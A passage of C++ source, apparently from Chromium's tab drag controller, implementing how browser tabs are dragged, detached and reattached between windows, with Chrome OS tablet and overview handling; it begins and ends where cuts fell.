\"ash/public/cpp/window_properties.h\"  // nogncheck\n#include \"chromeos/ui/base/window_properties.h\"\n#include \"chromeos/ui/base/window_state_type.h\"  // nogncheck\n#include \"ui/aura/window_delegate.h\"\n#include \"ui/wm/core/coordinate_conversion.h\"\n#endif\n\n#if defined(USE_AURA)\n#include \"ui/aura/env.h\"                            // nogncheck\n#include \"ui/aura/window.h\"                         // nogncheck\n#include \"ui/wm/core/window_modality_controller.h\"  // nogncheck\n#endif\n\nusing content::OpenURLParams;\nusing content::WebContents;\n\n// If non-null there is a drag underway.\nstatic TabDragController* g_tab_drag_controller = nullptr;\n\nnamespace {\n\n// Initial delay before moving tabs when the dragged tab is close to the edge of\n// the stacked tabs.\nconstexpr auto kMoveAttachedInitialDelay =\n    base::TimeDelta::FromMilliseconds(600);\n\n// Delay for moving tabs after the initial delay has passed.\nconstexpr auto kMoveAttachedSubsequentDelay =\n    base::TimeDelta::FromMilliseconds(300);\n\n// A dragged window is forced to be a bit smaller than maximized bounds during a\n// drag. This prevents the dragged browser widget from getting maximized at\n// creation and makes it easier to drag tabs out of a restored window that had\n// maximized size.\nconstexpr int kMaximizedWindowInset = 10;  // DIPs.\n\n#if BUILDFLAG(IS_CHROMEOS_ASH)\n\n// Returns the aura::Window which stores the window properties for tab-dragging.\naura::Window* GetWindowForTabDraggingProperties(const TabDragContext* context) {\n  return context ? context->AsView()->GetWidget()->GetNativeWindow() : nullptr;\n}\n\n// Returns true if |context| browser window is snapped.\nbool IsSnapped(const TabDragContext* context) {\n  DCHECK(context);\n  chromeos::WindowStateType type =\n      GetWindowForTabDraggingProperties(context)->GetProperty(\n          chromeos::kWindowStateTypeKey);\n  return type == chromeos::WindowStateType::kLeftSnapped ||\n         type == chromeos::WindowStateType::kRightSnapped;\n}\n\n// In Chrome OS tablet mode, when dragging a tab/tabs around, the desired\n// browser size during dragging is one-fourth of the workspace size or the\n// window's minimum size.\ngfx::Rect GetDraggedBrowserBoundsInTabletMode(aura::Window* window) {\n  const gfx::Rect work_area =\n      display::Screen::GetScreen()->GetDisplayNearestWindow(window).work_area();\n  gfx::Size mininum_size;\n  if (window->delegate())\n    mininum_size = window->delegate()->GetMinimumSize();\n\n  gfx::Rect bounds(window->GetBoundsInScreen());\n  bounds.set_width(std::max(work_area.width() / 2, mininum_size.width()));\n  bounds.set_height(std::max(work_area.height() / 2, mininum_size.height()));\n  return bounds;\n}\n\n// Store the current window bounds if we're in Chrome OS tablet mode and tab\n// dragging is allowed on browser windows.\nvoid StoreCurrentDraggedBrowserBoundsInTabletMode(\n    aura::Window* window,\n    const gfx::Rect& bounds_in_screen) {\n  if (ash::TabletMode::Get()->InTabletMode()) {\n    // The bounds that is stored in ash::kRestoreBoundsOverrideKey will be used\n    // by DragDetails to calculate the window bounds during dragging in tablet\n    // mode.\n    window->SetProperty(ash::kRestoreBoundsOverrideKey,\n                        new gfx::Rect(bounds_in_screen));\n  }\n}\n\n// Returns true if |context| is currently showing in overview mode in Chrome\n// OS.\nbool IsShowingInOverview(TabDragContext* context) {\n  return context && GetWindowForTabDraggingProperties(context)->GetProperty(\n                        chromeos::kIsShowingInOverviewKey);\n}\n\n// Returns true if we should attach the dragged tabs into |target_context|\n// after the drag ends. Currently it only happens on Chrome OS, when the dragged\n// tabs are dragged over an overview window, we should not try to attach it\n// to the overview window during dragging, but should wait to do so until the\n// drag ends.\nbool ShouldAttachOnEnd(TabDragContext* target_context) {\n  return IsShowingInOverview(target_context);\n}\n\n// Returns true if |context| can detach from the current context and attach\n// into another eligible browser window's context.\nbool CanDetachFromTabStrip(TabDragContext* context) {\n  return context && GetWindowForTabDraggingProperties(context)->GetProperty(\n                        ash::kCanAttachToAnotherWindowKey);\n}\n\n#else\nbool IsSnapped(const TabDragContext* context) {\n  return false;\n}\n\nbool IsShowingInOverview(TabDragContext* context) {\n  return false;\n}\n\nbool ShouldAttachOnEnd(TabDragContext* target_context) {\n  return false;\n}\n\nbool CanDetachFromTabStrip(TabDragContext* context) {\n  return true;\n}\n\n#endif  // #if BUILDFLAG(IS_CHROMEOS_ASH)\n\nvoid SetCapture(TabDragContext* context) {\n  context->AsView()->GetWidget()->SetCapture(context->AsView());\n}\n\ngfx::Rect GetTabstripScreenBounds(const TabDragContext* context) {\n  const views::View* view = context->AsView();\n  gfx::Point view_topleft;\n  views::View::ConvertPointToScreen(view, &view_topleft);\n  gfx::Rect view_screen_bounds = view->GetLocalBounds();\n  view_screen_bounds.Offset(view_topleft.x(), view_topleft.y());\n  return view_screen_bounds;\n}\n\n// Returns true if |bounds| contains the y-coordinate |y|. The y-coordinate\n// of |bounds| is adjusted by |vertical_adjustment|.\nbool DoesRectContainVerticalPointExpanded(const gfx::Rect& bounds,\n                                          int vertical_adjustment,\n                                          int y) {\n  int upper_threshold = bounds.bottom() + vertical_adjustment;\n  int lower_threshold = bounds.y() - vertical_adjustment;\n  return y >= lower_threshold && y <= upper_threshold;\n}\n\n// Adds |x_offset| to all the rectangles in |rects|.\nvoid OffsetX(int x_offset, std::vector<gfx::Rect>* rects) {\n  if (x_offset == 0)\n    return;\n\n  for (size_t i = 0; i < rects->size(); ++i)\n    (*rects)[i].set_x((*rects)[i].x() + x_offset);\n}\n\n}  // namespace\n\n// KeyEventTracker installs an event monitor and runs a callback to end the drag\n// when it receives any key event.\nclass KeyEventTracker : public ui::EventObserver {\n public:\n  KeyEventTracker(base::OnceClosure end_drag_callback,\n                  base::OnceClosure revert_drag_callback,\n                  gfx::NativeWindow context)\n      : end_drag_callback_(std::move(end_drag_callback)),\n        revert_drag_callback_(std::move(revert_drag_callback)) {\n    event_monitor_ = views::EventMonitor::CreateApplicationMonitor(\n        this, context, {ui::ET_KEY_PRESSED});\n  }\n  KeyEventTracker(const KeyEventTracker&) = delete;\n  KeyEventTracker& operator=(const KeyEventTracker&) = delete;\n  ~KeyEventTracker() override = default;\n\n private:\n  // ui::EventObserver:\n  void OnEvent(const ui::Event& event) override {\n    if (event.AsKeyEvent()->key_code() == ui::VKEY_ESCAPE &&\n        revert_drag_callback_) {\n      std::move(revert_drag_callback_).Run();\n    } else if (event.AsKeyEvent()->key_code() != ui::VKEY_ESCAPE &&\n               end_drag_callback_) {\n      std::move(end_drag_callback_).Run();\n    }\n  }\n\n  base::OnceClosure end_drag_callback_;\n  base::OnceClosure revert_drag_callback_;\n  std::unique_ptr<views::EventMonitor> event_monitor_;\n};\n\nclass TabDragController::SourceTabStripEmptinessTracker\n    : public TabStripModelObserver {\n public:\n  explicit SourceTabStripEmptinessTracker(TabStripModel* tabstrip,\n                                          TabDragController* parent)\n      : tab_strip_(tabstrip), parent_(parent) {\n    tab_strip_->AddObserver(this);\n  }\n\n private:\n  void TabStripEmpty() override {\n    tab_strip_->RemoveObserver(this);\n    parent_->OnSourceTabStripEmpty();\n  }\n\n  TabStripModel* const tab_strip_;\n  TabDragController* const parent_;\n};\n\nclass TabDragController::DraggedTabsClosedTracker\n    : public TabStripModelObserver {\n public:\n  DraggedTabsClosedTracker(TabStripModel* tabstrip, TabDragController* parent)\n      : parent_(parent) {\n    tabstrip->AddObserver(this);\n  }\n\n  void OnTabStripModelChanged(\n      TabStripModel* model,\n      const TabStripModelChange& change,\n      const TabStripSelectionChange& selection) override {\n    if (change.type() != TabStripModelChange::Type::kRemoved)\n      return;\n    for (const auto& contents : change.GetRemove()->contents)\n      parent_->OnActiveStripWebContentsRemoved(contents.contents);\n  }\n\n private:\n  TabDragController* const parent_;\n};\n\nTabDragController::TabDragData::TabDragData()\n    : contents(nullptr),\n      source_model_index(TabStripModel::kNoTab),\n      attached_view(nullptr),\n      pinned(false) {}\n\nTabDragController::TabDragData::~TabDragData() {}\n\nTabDragController::TabDragData::TabDragData(TabDragData&&) = default;\n\n#if BUILDFLAG(IS_CHROMEOS_ASH)\n\n// The class to track the current deferred target tabstrip and also to observe\n// its native window's property ash::kIsDeferredTabDraggingTargetWindowKey.\n// The reason we need to observe the window property is the property might be\n// cleared outside of TabDragController (i.e. by ash), and we should update the\n// tracked deferred target tabstrip in this case.\nclass TabDragController::DeferredTargetTabstripObserver\n    : public aura::WindowObserver {\n public:\n  DeferredTargetTabstripObserver() = default;\n  DeferredTargetTabstripObserver(const DeferredTargetTabstripObserver&) =\n      delete;\n  DeferredTargetTabstripObserver& operator=(\n      const DeferredTargetTabstripObserver&) = delete;\n  ~DeferredTargetTabstripObserver() override {\n    if (deferred_target_context_) {\n      GetWindowForTabDraggingProperties(deferred_target_context_)\n          ->RemoveObserver(this);\n      deferred_target_context_ = nullptr;\n    }\n  }\n\n  void SetDeferredTargetTabstrip(TabDragContext* deferred_target_context) {\n    if (deferred_target_context_ == deferred_target_context)\n      return;\n\n    // Clear the window property on the previous |deferred_target_context_|.\n    if (deferred_target_context_) {\n      aura::Window* old_window =\n          GetWindowForTabDraggingProperties(deferred_target_context_);\n      old_window->RemoveObserver(this);\n      old_window->ClearProperty(ash::kIsDeferredTabDraggingTargetWindowKey);\n    }\n\n    deferred_target_context_ = deferred_target_context;\n\n    // Set the window property on the new |deferred_target_context_|.\n    if (deferred_target_context_) {\n      aura::Window* new_window =\n          GetWindowForTabDraggingProperties(deferred_target_context_);\n      new_window->SetProperty(ash::kIsDeferredTabDraggingTargetWindowKey, true);\n      new_window->AddObserver(this);\n    }\n  }\n\n  // aura::WindowObserver:\n  void OnWindowPropertyChanged(aura::Window* window,\n                               const void* key,\n                               intptr_t old) override {\n    DCHECK_EQ(window,\n              GetWindowForTabDraggingProperties(deferred_target_context_));\n\n    if (key == ash::kIsDeferredTabDraggingTargetWindowKey &&\n        !window->GetProperty(ash::kIsDeferredTabDraggingTargetWindowKey)) {\n      SetDeferredTargetTabstrip(nullptr);\n    }\n\n    // else do nothing. currently it's only possible that ash clears the window\n    // property, but doesn't set the window property.\n  }\n\n  void OnWindowDestroying(aura::Window* window) override {\n    DCHECK_EQ(window,\n              GetWindowForTabDraggingProperties(deferred_target_context_));\n    SetDeferredTargetTabstrip(nullptr);\n  }\n\n  TabDragContext* deferred_target_context() { return deferred_target_context_; }\n\n private:\n  TabDragContext* deferred_target_context_ = nullptr;\n};\n\n#endif\n\n///////////////////////////////////////////////////////////////////////////////\n// TabDragController, public:\n\n// static\nconst int TabDragController::kTouchVerticalDetachMagnetism = 50;\n\n// static\nconst int TabDragController::kVerticalDetachMagnetism = 15;\n\nTabDragController::TabDragController()\n    : current_state_(DragState::kNotStarted),\n      event_source_(EVENT_SOURCE_MOUSE),\n      source_context_(nullptr),\n      attached_context_(nullptr),\n      can_release_capture_(true),\n      offset_to_width_ratio_(0),\n      old_focused_view_tracker_(std::make_unique<views::ViewTracker>()),\n      last_move_screen_loc_(0),\n      source_view_index_(std::numeric_limits<size_t>::max()),\n      initial_move_(true),\n      detach_behavior_(DETACHABLE),\n      move_behavior_(REORDER),\n      mouse_has_ever_moved_left_(false),\n      mouse_has_ever_moved_right_(false),\n      is_dragging_new_browser_(false),\n      was_source_maximized_(false),\n      was_source_fullscreen_(false),\n      did_restore_window_(false),\n      tab_strip_to_attach_to_after_exit_(nullptr),\n      move_loop_widget_(nullptr),\n      is_mutating_(false),\n      attach_x_(-1),\n      attach_index_(-1) {\n  g_tab_drag_controller = this;\n}\n\nTabDragController::~TabDragController() {\n  if (g_tab_drag_controller == this)\n    g_tab_drag_controller = nullptr;\n\n  widget_observation_.Reset();\n\n  if (is_dragging_window())\n    GetAttachedBrowserWidget()->EndMoveLoop();\n\n  if (event_source_ == EVENT_SOURCE_TOUCH) {\n    TabDragContext* capture_context =\n        attached_context_ ? attached_context_ : source_context_;\n    capture_context->AsView()->GetWidget()->ReleaseCapture();\n  }\n  CHECK(!IsInObserverList());\n}\n\nvoid TabDragController::Init(TabDragContext* source_context,\n                             TabSlotView* source_view,\n                             const std::vector<TabSlotView*>& dragging_views,\n                             const gfx::Point& mouse_offset,\n                             int source_view_offset,\n                             ui::ListSelectionModel initial_selection_model,\n                             MoveBehavior move_behavior,\n                             EventSource event_source) {\n  DCHECK(!dragging_views.empty());\n  DCHECK(base::Contains(dragging_views, source_view));\n  source_context_ = source_context;\n  was_source_maximized_ = source_context->AsView()->GetWidget()->IsMaximized();\n  was_source_fullscreen_ =\n      source_context->AsView()->GetWidget()->IsFullscreen();\n  // Do not release capture when transferring capture between widgets on:\n  // - Desktop Linux\n  //     Mouse capture is not synchronous on desktop Linux. Chrome makes\n  //     transferring capture between widgets without releasing capture appear\n  //     synchronous on desktop Linux, so use that.\n  // - Chrome OS\n  //     Releasing capture on Ash cancels gestures so avoid it.\n#if defined(OS_LINUX) || defined(OS_CHROMEOS)\n  can_release_capture_ = false;\n#endif\n  start_point_in_screen_ = gfx::Point(source_view_offset, mouse_offset.y());\n  views::View::ConvertPointToScreen(source_view, &start_point_in_screen_);\n  event_source_ = event_source;\n  mouse_offset_ = mouse_offset;\n  move_behavior_ = move_behavior;\n  last_point_in_screen_ = start_point_in_screen_;\n  last_move_screen_loc_ = start_point_in_screen_.x();\n  initial_tab_positions_ = source_context->GetTabXCoordinates();\n\n  source_context_emptiness_tracker_ =\n      std::make_unique<SourceTabStripEmptinessTracker>(\n          source_context_->GetTabStripModel(), this);\n\n  header_drag_ = source_view->GetTabSlotViewType() ==\n                 TabSlotView::ViewType::kTabGroupHeader;\n  if (header_drag_)\n    group_ = source_view->group();\n\n  drag_data_.resize(dragging_views.size());\n  for (size_t i = 0; i < dragging_views.size(); ++i)\n    InitDragData(dragging_views[i], &(drag_data_[i]));\n  source_view_index_ =\n      std::find(dragging_views.begin(), dragging_views.end(), source_view) -\n      dragging_views.begin();\n\n  // Listen for Esc key presses.\n  key_event_tracker_ = std::make_unique<KeyEventTracker>(\n      base::BindOnce(&TabDragController::EndDrag, base::Unretained(this),\n                     END_DRAG_COMPLETE),\n      base::BindOnce(&TabDragController::EndDrag, base::Unretained(this),\n                     END_DRAG_CANCEL),\n      source_context_->AsView()->GetWidget()->GetNativeWindow());\n\n  if (source_view->width() > 0) {\n    offset_to_width_ratio_ =\n        float{source_view->GetMirroredXInView(source_view_offset)} /\n        float{source_view->width()};\n  }\n  InitWindowCreatePoint();\n  initial_selection_model_ = std::move(initial_selection_model);\n\n  // Gestures don't automatically do a capture. We don't allow multiple drags at\n  // the same time, so we explicitly capture.\n  if (event_source == EVENT_SOURCE_TOUCH) {\n    // Taking capture may cause capture to be lost, ending the drag and\n    // destroying |this|.\n    base::WeakPtr<TabDragController> ref(weak_factory_.GetWeakPtr());\n    SetCapture(source_context_);\n    if (!ref)\n      return;\n  }\n\n  window_finder_ = std::make_unique<WindowFinder>();\n}\n\n// static\nbool TabDragController::IsAttachedTo(const TabDragContext* context) {\n  return (g_tab_drag_controller && g_tab_drag_controller->active() &&\n          g_tab_drag_controller->attached_context() == context);\n}\n\n// static\nbool TabDragController::IsActive() {\n  return g_tab_drag_controller && g_tab_drag_controller->active();\n}\n\n// static\nTabDragContext* TabDragController::GetSourceContext() {\n  return g_tab_drag_controller ? g_tab_drag_controller->source_context_\n                               : nullptr;\n}\n\nvoid TabDragController::SetMoveBehavior(MoveBehavior behavior) {\n  if (current_state_ == DragState::kNotStarted)\n    move_behavior_ = behavior;\n}\n\nbool TabDragController::IsDraggingTab(content::WebContents* contents) {\n  for (auto& drag_data : drag_data_) {\n    if (drag_data.contents == contents)\n      return true;\n  }\n  return false;\n}\n\nvoid TabDragController::Drag(const gfx::Point& point_in_screen) {\n  TRACE_EVENT1(\"views\", \"TabDragController::Drag\", \"point_in_screen\",\n               point_in_screen.ToString());\n\n  bring_to_front_timer_.Stop();\n  move_stacked_timer_.Stop();\n\n  if (current_state_ == DragState::kWaitingToDragTabs ||\n      current_state_ == DragState::kWaitingToStop ||\n      current_state_ == DragState::kStopped)\n    return;\n\n  if (current_state_ == DragState::kNotStarted) {\n    if (!CanStartDrag(point_in_screen))\n      return;  // User hasn't dragged far enough yet.\n\n    // On windows SaveFocus() may trigger a capture lost, which destroys us.\n    {\n      base::WeakPtr<TabDragController> ref(weak_factory_.GetWeakPtr());\n      SaveFocus();\n      if (!ref)\n        return;\n    }\n    current_state_ = DragState::kDraggingTabs;\n    Attach(source_context_, gfx::Point());\n    if (num_dragging_tabs() == source_context_->GetTabStripModel()->count()) {\n      views::Widget* widget = GetAttachedBrowserWidget();\n      gfx::Rect new_bounds;\n      gfx::Vector2d drag_offset;\n      if (was_source_maximized_ || was_source_fullscreen_) {\n        did_restore_window_ = true;\n        // When all tabs in a maximized browser are dragged the browser gets\n        // restored during the drag and maximized back when the drag ends.\n        const int tab_area_width = attached_context_->GetTabDragAreaWidth();\n        std::vector<gfx::Rect> drag_bounds =\n            attached_context_->CalculateBoundsForDraggedViews(attached_views_);\n        OffsetX(GetAttachedDragPoint(point_in_screen).x(), &drag_bounds);\n        new_bounds = CalculateDraggedBrowserBounds(\n            source_context_, point_in_screen, &drag_bounds);\n        new_bounds.Offset(-widget->GetRestoredBounds().x() +\n                              point_in_screen.x() - mouse_offset_.x(),\n                          0);\n        widget->SetVisibilityChangedAnimationsEnabled(false);\n        widget->Restore();\n        widget->SetBounds(new_bounds);\n        drag_offset = GetWindowOffset(point_in_screen);\n        AdjustBrowserAndTabBoundsForDrag(tab_area_width, point_in_screen,\n                                         &drag_offset, &drag_bounds);\n        widget->SetVisibilityChangedAnimationsEnabled(true);\n      } else {\n        new_bounds =\n            CalculateNonMaximizedDraggedBrowserBounds(widget, point_in_screen);\n        widget->SetBounds(new_bounds);\n        drag_offset = GetWindowOffset(point_in_screen);\n      }\n\n#if BUILDFLAG(IS_CHROMEOS_ASH)\n      StoreCurrentDraggedBrowserBoundsInTabletMode(widget->GetNativeWindow(),\n                                                   new_bounds);\n#endif\n\n      RunMoveLoop(drag_offset);\n      return;\n    }\n  }\n\n  if (ContinueDragging(point_in_screen) == Liveness::DELETED)\n    return;\n}\n\nvoid TabDragController::EndDrag(EndDragReason reason) {\n  TRACE_EVENT0(\"views\", \"TabDragController::EndDrag\");\n\n  // If we're dragging a window ignore capture lost since it'll ultimately\n  // trigger the move loop to end and we'll revert the drag when RunMoveLoop()\n  // finishes.\n  if (reason == END_DRAG_CAPTURE_LOST &&\n      current_state_ == DragState::kDraggingWindow) {\n    return;\n  }\n\n  // If we're dragging a window, end the move loop, returning control to\n  // RunMoveLoop() which will end the drag.\n  if (current_state_ == DragState::kDraggingWindow) {\n    current_state_ = DragState::kWaitingToStop;\n    GetAttachedBrowserWidget()->EndMoveLoop();\n    return;\n  }\n\n#if BUILDFLAG(IS_CHROMEOS_ASH)\n  // It's possible that in Chrome OS we defer the windows that are showing in\n  // overview to attach into during dragging. If so we need to attach the\n  // dragged tabs to it first.\n  if (reason == END_DRAG_COMPLETE && deferred_target_context_observer_)\n    PerformDeferredAttach();\n\n  // It's also possible that we need to merge the dragged tabs back into the\n  // source window even if the dragged tabs is dragged away from the source\n  // window.\n  if (source_context_ &&\n      GetWindowForTabDraggingProperties(source_context_)\n          ->GetProperty(ash::kIsDeferredTabDraggingTargetWindowKey)) {\n    GetWindowForTabDraggingProperties(source_context_)\n        ->ClearProperty(ash::kIsDeferredTabDraggingTargetWindowKey);\n    reason = END_DRAG_CANCEL;\n  }\n#endif\n\n  EndDragImpl(reason != END_DRAG_COMPLETE && source_context_ ? CANCELED\n                                                             : NORMAL);\n}\n\nvoid TabDragController::InitDragData(TabSlotView* view,\n                                     TabDragData* drag_data) {\n  TRACE_EVENT0(\"views\", \"TabDragController::InitDragData\");\n  const int source_model_index = source_context_->GetIndexOf(view);\n  drag_data->source_model_index = source_model_index;\n  if (source_model_index != TabStripModel::kNoTab) {\n    drag_data->contents = source_context_->GetTabStripModel()->GetWebContentsAt(\n        drag_data->source_model_index);\n    drag_data->pinned = source_context_->IsTabPinned(static_cast<Tab*>(view));\n  }\n  base::Optional<tab_groups::TabGroupId> tab_group_id = view->group();\n  if (tab_group_id.has_value()) {\n    drag_data->tab_group_data = TabDragData::TabGroupData{\n        tab_group_id.value(), *source_context_->GetTabStripModel()\n                                   ->group_model()\n                                   ->GetTabGroup(tab_group_id.value())\n                                   ->visual_data()};\n  }\n}\n\nvoid TabDragController::OnWidgetBoundsChanged(views::Widget* widget,\n                                              const gfx::Rect& new_bounds) {\n  TRACE_EVENT1(\"views\", \"TabDragController::OnWidgetBoundsChanged\",\n               \"new_bounds\", new_bounds.ToString());\n  // Detaching and attaching can be suppresed temporarily to suppress attaching\n  // to incorrect window on changing bounds. We should prevent Drag() itself,\n  // otherwise it can clear deferred attaching tab.\n  if (!CanDetachFromTabStrip(attached_context_))\n    return;\n#if defined(USE_AURA)\n  aura::Env* env = aura::Env::GetInstance();\n  // WidgetBoundsChanged happens as a step of ending a drag, but Drag() doesn't\n  // have to be called -- GetCursorScreenPoint() may return an incorrect\n  // location in such case and causes a weird effect. See\n  // https://crbug.com/914527 for the details.\n  if (!env->IsMouseButtonDown() && !env->is_touch_down())\n    return;\n#endif\n  Drag(GetCursorScreenPoint());\n}\n\nvoid TabDragController::OnWidgetDestroyed(views::Widget* widget) {\n  widget_observation_.Reset();\n}\n\nvoid TabDragController::OnSourceTabStripEmpty() {\n  // NULL out source_context_ so that we don't attempt to add back to it (in\n  // the case of a revert).\n  source_context_ = nullptr;\n#if BUILDFLAG(IS_CHROMEOS_ASH)\n  // Also update the source window info for the current dragged window.\n  if (attached_context_) {\n    GetWindowForTabDraggingProperties(attached_context_)\n        ->ClearProperty(ash::kTabDraggingSourceWindowKey);\n  }\n#endif\n}\n\nvoid TabDragController::OnActiveStripWebContentsRemoved(\n    content::WebContents* contents) {\n  // Mark closed tabs as destroyed so we don't try to manipulate them later.\n  for (auto it = drag_data_.begin(); it != drag_data_.end(); it++) {\n    if (it->contents == contents) {\n      it->contents = nullptr;\n      break;\n    }\n  }\n}\n\n///////////////////////////////////////////////////////////////////////////////\n// TabDragController, private:\n\nvoid TabDragController::InitWindowCreatePoint() {\n  // window_create_point_ is only used in CompleteDrag() (through\n  // GetWindowCreatePoint() to get the start point of the docked window) when\n  // the attached_context_ is NULL and all the window's related bound\n  // information are obtained from source_context_. So, we need to get the\n  // first_tab based on source_context_, not attached_context_. Otherwise,\n  // the window_create_point_ is not in the correct coordinate system. Please\n  // refer to http://crbug.com/6223 comment #15 for detailed information.\n  views::View* first_tab = source_context_->GetTabAt(0);\n  views::View::ConvertPointToWidget(first_tab, &first_source_tab_point_);\n  window_create_point_ = first_source_tab_point_;\n  window_create_point_.Offset(mouse_offset_.x(), mouse_offset_.y());\n}\n\ngfx::Point TabDragController::GetWindowCreatePoint(\n    const gfx::Point& origin) const {\n  // If the cursor is outside the monitor area, move it inside. For example,\n  // dropping a tab onto the task bar on Windows produces this situation.\n  gfx::Rect work_area =\n      display::Screen::GetScreen()->GetDisplayNearestPoint(origin).work_area();\n  gfx::Point create_point(origin);\n  if (!work_area.IsEmpty()) {\n    if (create_point.x() < work_area.x())\n      create_point.set_x(work_area.x());\n    else if (create_point.x() > work_area.right())\n      create_point.set_x(work_area.right());\n    if (create_point.y() < work_area.y())\n      create_point.set_y(work_area.y());\n    else if (create_point.y() > work_area.bottom())\n      create_point.set_y(work_area.bottom());\n  }\n  return gfx::Point(create_point.x() - window_create_point_.x(),\n                    create_point.y() - window_create_point_.y());\n}\n\nvoid TabDragController::SaveFocus() {\n  DCHECK(source_context_);\n  old_focused_view_tracker_->SetView(\n      source_context_->AsView()->GetFocusManager()->GetFocusedView());\n  source_context_->AsView()->GetFocusManager()->ClearFocus();\n  // WARNING: we may have been deleted.\n}\n\nvoid TabDragController::RestoreFocus() {\n  if (attached_context_ != source_context_) {\n    if (is_dragging_new_browser_) {\n      content::WebContents* active_contents = source_dragged_contents();\n      if (active_contents && !active_contents->FocusLocationBarByDefault())\n        active_contents->Focus();\n    }\n    return;\n  }\n  views::View* old_focused_view = old_focused_view_tracker_->view();\n  if (!old_focused_view)\n    return;\n  old_focused_view->GetFocusManager()->SetFocusedView(old_focused_view);\n}\n\nbool TabDragController::CanStartDrag(const gfx::Point& point_in_screen) const {\n  // Determine if the mouse has moved beyond a minimum elasticity distance in\n  // any direction from the starting point.\n  static const int kMinimumDragDistance = 10;\n  int x_offset = abs(point_in_screen.x() - start_point_in_screen_.x());\n  int y_offset = abs(point_in_screen.y() - start_point_in_screen_.y());\n  return sqrt(pow(float{x_offset}, 2) + pow(float{y_offset}, 2)) >\n         kMinimumDragDistance;\n}\n\nTabDragController::Liveness TabDragController::ContinueDragging(\n    const gfx::Point& point_in_screen) {\n  TRACE_EVENT1(\"views\", \"TabDragController::ContinueDragging\",\n               \"point_in_screen\", point_in_screen.ToString());\n\n  DCHECK(attached_context_);\n\n  TabDragContext* target_context = source_context_;\n  if (detach_behavior_ == DETACHABLE &&\n      GetTargetTabStripForPoint(point_in_screen, &target_context) ==\n          Liveness::DELETED) {\n    return Liveness::DELETED;\n  }\n\n  // The dragged tabs may not be able to attach into |target_context| during\n  // dragging if the window accociated with |target_context| is currently\n  // showing in overview mode in Chrome OS, in this case we defer attaching into\n  // it till the drag ends and reset |target_context| here.\n  if (ShouldAttachOnEnd(target_context)) {\n    SetDeferredTargetTabstrip(target_context);\n    target_context = current_state_ == DragState::kDraggingWindow\n                         ? attached_context_\n                         : nullptr;\n  } else {\n    SetDeferredTargetTabstrip(nullptr);\n  }\n\n  bool tab_strip_changed = (target_context != attached_context_);\n\n  if (attached_context_) {\n    int move_delta = point_in_screen.x() - last_point_in_screen_.x();\n    if (move_delta > 0)\n      mouse_has_ever_moved_right_ = true;\n    else if (move_delta < 0)\n      mouse_has_ever_moved_left_ = true;\n  }\n  last_point_in_screen_ = point_in_screen;\n\n  if (tab_strip_changed) {\n    is_dragging_new_browser_ = false;\n    did_restore_window_ = false;\n    if (DragBrowserToNewTabStrip(target_context, point_in_screen) ==\n        DRAG_BROWSER_RESULT_STOP) {\n      return Liveness::ALIVE;\n    }\n  }\n  if (current_state_ == DragState::kDraggingWindow) {\n    bring_to_front_timer_.Start(\n        FROM_HERE, base::TimeDelta::FromMilliseconds(750),\n        base::BindOnce(&TabDragController::BringWindowUnderPointToFront,\n                       base::Unretained(this), point_in_screen));\n  }\n\n  if (current_state_ == DragState::kDraggingTabs) {\n    if (move_only()) {\n      DragActiveTabStacked(point_in_screen);\n    } else {\n      MoveAttached(point_in_screen, false);\n      if (tab_strip_changed) {\n        // Move the corresponding window to the front. We do this after the\n        // move as on windows activate triggers a synchronous paint.\n        attached_context_->AsView()->GetWidget()->Activate();\n      }\n    }\n  }\n  return Liveness::ALIVE;\n}\n\nTabDragController::DragBrowserResultType\nTabDragController::DragBrowserToNewTabStrip(TabDragContext* target_context,\n                                            const gfx::Point& point_in_screen) {\n  TRACE_EVENT1(\"views\", \"TabDragController::DragBrowserToNewTabStrip\",\n               \"point_in_screen\", point_in_screen.ToString());\n\n  if (!target_context) {\n    DetachIntoNewBrowserAndRunMoveLoop(point_in_screen);\n    return DRAG_BROWSER_RESULT_STOP;\n  }\n\n#if defined(USE_AURA)\n  // Only Aura windows are gesture consumers.\n  gfx::NativeView attached_native_view =\n      GetAttachedBrowserWidget()->GetNativeView();\n  GetAttachedBrowserWidget()->GetGestureRecognizer()->TransferEventsTo(\n      attached_native_view,\n      target_context->AsView()->GetWidget()->GetNativeView(),\n      ui::TransferTouchesBehavior::kDontCancel);\n#endif\n\n  if (current_state_ == DragState::kDraggingWindow) {\n    // ReleaseCapture() is going to result in calling back to us (because it\n    // results in a move). That'll cause all sorts of problems.  Reset the\n    // observer so we don't get notified and process the event.\n#if BUILDFLAG(IS_CHROMEOS_ASH)\n    widget_observation_.Reset();\n    move_loop_widget_ = nullptr;\n#endif  // BUILDFLAG(IS_CHROMEOS_ASH)\n    views::Widget* browser_widget = GetAttachedBrowserWidget();\n    // Need to release the drag controller before starting the move loop as it's\n    // going to trigger capture lost, which cancels drag.\n    attached_context_->ReleaseDragController();\n    target_context->OwnDragController(this);\n    // Disable animations so that we don't see a close animation on aero.\n    browser_widget->SetVisibilityChangedAnimationsEnabled(false);\n    if (can_release_capture_)\n      browser_widget->ReleaseCapture();\n    else\n      SetCapture(target_context);\n\n// TODO(crbug.com/1052397): Revisit the macro expression once build flag switch\n// of lacros-chrome is complete.\n#if !(defined(OS_LINUX) || BUILDFLAG(IS_CHROMEOS_LACROS))\n    // EndMoveLoop is going to snap the window back to its original location.\n    // Hide it so users don't see this. Hiding a window in Linux aura causes\n    // it to lose capture so skip it.\n    browser_widget->Hide();\n#endif\n    browser_widget->EndMoveLoop();\n\n    // Ideally we would always swap the tabs now, but on non-ash Windows, it\n    // seems that running the move loop implicitly activates the window when\n    // done, leading to all sorts of flicker. So, on non-ash Windows, instead\n    // we process the move after the loop completes. But on chromeos, we can\n    // do tab swapping now to avoid the tab flashing issue\n    // (crbug.com/116329).\n    if (can_release_capture_) {\n      tab_strip_to_attach_to_after_exit_ = target_context;\n      current_state_ = DragState::kWaitingToDragTabs;\n    } else {\n      Detach(DONT_RELEASE_CAPTURE);\n      Attach(target_context, point_in_screen);\n      current_state_ = DragState::kDraggingTabs;\n      // Move the tabs into position.\n      MoveAttached(point_in_screen, true);\n      attached_context_->AsView()->GetWidget()->Activate();\n    }\n\n    return DRAG_BROWSER_RESULT_STOP;\n  }\n  Detach(DONT_RELEASE_CAPTURE);\n  Attach(target_context, point_in_screen);\n  MoveAttached(point_in_screen, true);\n  return DRAG_BROWSER_RESULT_CONTINUE;\n}\n\nvoid TabDragController::DragActiveTabStacked(\n    const gfx::Point& point_in_screen) {\n  if (attached_context_->GetTabCount() != int{initial_tab_positions_.size()})\n    return;  // TODO: should cancel drag if this happens.\n\n  int delta = point_in_screen.x() - start_point_in_screen_.x();\n  attached_context_->DragActiveTabStacked(initial_tab_positions_, 